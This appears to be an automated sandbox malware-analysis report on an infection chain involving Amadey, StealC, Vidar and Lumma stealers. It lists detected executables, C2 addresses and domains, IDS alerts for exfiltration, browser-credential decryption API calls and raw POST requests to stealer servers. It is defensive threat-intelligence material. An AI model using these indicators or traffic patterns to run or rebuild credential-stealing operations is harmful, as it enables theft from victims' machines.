Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\stealc_default2[1].exe	Avira: detection malicious, Label: TR/AD.Stealc.cucnc
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\v_dolg[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1314118

Source: 00000003.00000002.2319764811.0000000000691000.00000040.00000001.01000000.00000007.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.16/Jo89Ku7d/index.php", "Version": "4.41", "Install Folder": "44111dbc49", "Install File": "axplong.exe"}
Source: 00000014.00000002.3298927508.0000000000F5E000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.17/2fb6c2cc8dce150a.php"}
Source: 20.2.stealc_default2.exe.630000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.17/2fb6c2cc8dce150a.php", "Botnet": "default_valenciga"}
Source: legs.exe.7556.23.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["discokeyus.lat", "crosshuaht.lat", "energyaffai.lat", "aspecteirs.lat", "necklacebudi.lat", "grannyejh.lat", "pancakedipyps.click", "sustainskelet.lat", "rapeflowwj.lat"], "Build id": "FATE99--dec"}

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\AllNew[1].exe	ReversingLabs: Detection: 81%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\roblox[1].exe	ReversingLabs: Detection: 63%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\sintv[1].exe	ReversingLabs: Detection: 58%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\stealc_default2[1].exe	ReversingLabs: Detection: 86%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\v_dolg[1].exe	ReversingLabs: Detection: 81%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\legs[1].exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\am209[1].exe	ReversingLabs: Detection: 78%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\goldddd123[1].exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe	ReversingLabs: Detection: 63%
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	ReversingLabs: Detection: 86%
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe	ReversingLabs: Detection: 81%
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	ReversingLabs: Detection: 78%
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	ReversingLabs: Detection: 81%
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	ReversingLabs: Detection: 63%
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Temp\1006591001\sintv.exe	ReversingLabs: Detection: 58%
Source: C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe	ReversingLabs: Detection: 81%
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	ReversingLabs: Detection: 78%
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	ReversingLabs: Detection: 50%

Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\AllNew[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\am209[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\roblox[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\stealc_default2[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\v_dolg[1].exe	Joe Sandbox ML: detected

Source: random.exe.6.exe	Virustotal: Detection: 56%			Perma Link
Source: random.exe.6.exe	ReversingLabs: Detection: 55%

Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_00639B60 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	20_2_00639B60
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_0063C820 memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,lstrcatA,lstrcatA,PK11_FreeSlot,lstrcatA,	20_2_0063C820
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_00637240 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	20_2_00637240
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_00639AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	20_2_00639AC0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_00648EA0 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	20_2_00648EA0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C536C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	20_2_6C536C80
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C68A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	20_2_6C68A9A0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C684440 PK11_PrivDecrypt,	20_2_6C684440
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C654420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	20_2_6C654420
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C6844C0 PK11_PubEncrypt,	20_2_6C6844C0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C6D25B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	20_2_6C6D25B0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C668670 PK11_ExportEncryptedPrivKeyInfo,	20_2_6C668670
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C68A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	20_2_6C68A650

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:49902 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49914 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.16:80 -> 192.168.2.6:49902
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49913 -> 185.215.113.17:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49925 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49913 -> 185.215.113.17:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.17:80 -> 192.168.2.6:49913
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49913 -> 185.215.113.17:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.17:80 -> 192.168.2.6:49913
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49913 -> 185.215.113.17:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49938 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49950 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49977 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50035 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50041 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2058362 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (energyaffai .lat) : 192.168.2.6:51179 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058363 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (energyaffai .lat in TLS SNI) : 192.168.2.6:50044 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2058363 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (energyaffai .lat in TLS SNI) : 192.168.2.6:50048 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50056 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2057945 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz) : 192.168.2.6:55706 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057983 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz) : 192.168.2.6:55706 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057927 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dare-curbys .biz) : 192.168.2.6:61567 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057975 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dare-curbys .biz) : 192.168.2.6:61567 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057949 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (zinc-sneark .biz) : 192.168.2.6:52099 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057981 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (zinc-sneark .biz) : 192.168.2.6:52099 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057929 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dwell-exclaim .biz) : 192.168.2.6:59800 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057979 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dwell-exclaim .biz) : 192.168.2.6:59800 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057925 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (covery-mover .biz) : 192.168.2.6:55630 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057973 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (covery-mover .biz) : 192.168.2.6:55630 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057943 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (print-vexer .biz) : 192.168.2.6:53153 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057971 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (print-vexer .biz) : 192.168.2.6:53153 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057935 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz) : 192.168.2.6:53212 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057969 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz) : 192.168.2.6:53212 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057931 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (formy-spill .biz) : 192.168.2.6:59512 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057977 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (formy-spill .biz) : 192.168.2.6:59512 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49944 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49993 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49944 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:50044 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50044 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.6:50068 -> 23.55.153.106:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:50071 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50071 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:50078 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50078 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:50087 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49937 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49937 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50099 -> 172.67.157.254:443

Source: Malware configuration extractor	URLs: http://185.215.113.17/2fb6c2cc8dce150a.php
Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	URLs: aspecteirs.lat
Source: Malware configuration extractor	URLs: necklacebudi.lat
Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	URLs: pancakedipyps.click
Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	URLs: rapeflowwj.lat
Source: Malware configuration extractor	URLs: http://185.215.113.17/2fb6c2cc8dce150a.php
Source: Malware configuration extractor	IPs: 185.215.113.16

Source: Joe Sandbox View	IP Address: 208.95.112.1 208.95.112.1
Source: Joe Sandbox View	IP Address: 185.215.113.36 185.215.113.36
Source: Joe Sandbox View	IP Address: 185.215.113.36 185.215.113.36

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49914 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49902 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49930 -> 185.215.113.36:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49913 -> 185.215.113.17:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49937 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49938 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49944 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49953 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49950 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49962 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49978 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49977 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49993 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50017 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50033 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50035 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50041 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50044 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50048 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50060 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50068 -> 23.55.153.106:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50071 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50078 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50083 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50090 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50095 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50094 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50087 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50099 -> 172.67.157.254:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: pancakedipyps.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 45Host: pancakedipyps.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=H27PYX88User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12797Host: pancakedipyps.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=DENRBHDMS4T2J5XGE1EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15109Host: pancakedipyps.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=4U0M2RBLAZWUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 19919Host: pancakedipyps.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=R5QU8B9VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1193Host: pancakedipyps.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=Y32T44A0GZGR861CVUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 588073Host: pancakedipyps.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: energyaffai.lat
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 48Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=4FORW6QN1079LOUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12836Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=5JYM579XM55RWUUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15082Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=GQZ3XFRDUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 19904Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=DYRU7EO16XGJUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1222Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=9X8QZAGHXE7JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 588047Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 83Host: lev-tolstoi.com

